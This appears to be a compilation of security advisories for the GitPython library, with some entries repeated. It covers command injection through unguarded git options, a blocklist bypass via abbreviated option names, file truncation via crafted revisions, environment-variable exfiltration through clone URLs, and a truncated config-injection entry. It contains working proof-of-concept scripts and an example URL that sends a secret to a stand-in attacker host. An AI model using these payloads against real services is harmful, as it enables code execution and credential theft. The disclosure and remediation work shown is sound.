repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()

1. exec via archive (a service exports a repo and forwards the user's options dict):

m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))

[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

2. exec via ls_remote:

m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))

[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

3. file clobber via a rev that looks like a ref:

v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')

[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

• CVSS Score: 8.4 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
• https://nvd.nist.gov/vuln/detail/CVE-2026-67323
• https://github.com/gitpython-developers/GitPython/pull/2163
• https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
• https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836

More information

Details

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

##### git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

Location	Role
git/cmd.py:948-960 _canonicalize_option_name	canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options	exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg	emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413	clone call sites
git/remote.py:1074,1128,1201	fetch / pull / push call sites

Bypass keys (verified)

kwarg key	git resolves to	path	weaponizable
upload_p, upload_pac	--upload-pack	clone / fetch / pull	Yes — direct RCE
receive_p	--receive-pack	push	Yes — direct RCE
exe	--exec	push	Yes — direct RCE
conf, confi	--config	clone	bypasses option blocklist; RCE needs an additional config vector (see note)

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

##### fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

• upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
• allow_unsafe_options=True opt-out behaves as documented (out of scope).

Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)

1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
• https://nvd.nist.gov/vuln/detail/CVE-2026-67325
• https://github.com/gitpython-developers/GitPython/pull/2161
• https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
• https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-2f96-g7mh-g2hx

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: command injection via unguarded Git options in Repo.archive(), git.ls_remote(), and arbitrary file overwrite via Repo.iter_commits() / Repo.blame()

CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839

More information

Details

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()

1. exec via archive (a service exports a repo and forwards the user's options dict):

m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))

[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

2. exec via ls_remote:

m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))

[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

3. file clobber via a rev that looks like a ref:

v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')

[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

• CVSS Score: 8.4 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
• https://nvd.nist.gov/vuln/detail/CVE-2026-67323
• https://github.com/gitpython-developers/GitPython/pull/2163
• https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
• https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-956x-8gvw-wg5v

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842

More information

Details

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:

#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

##### Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

##### --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573
• https://nvd.nist.gov/vuln/detail/CVE-2026-67322
• https://github.com/gitpython-developers/GitPython/pull/2172
• https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52
• https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842

More information

Details

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:

#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

##### Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

##### --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573
• https://nvd.nist.gov/vuln/detail/CVE-2026-67322
• https://github.com/gitpython-developers/GitPython/pull/2172
• https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52
• https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-rwj8-pgh3-r573

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

CVE-2026-69097 / GHSA-3rp5-jjmw-4wv2

More information

Details

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")
...
def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:
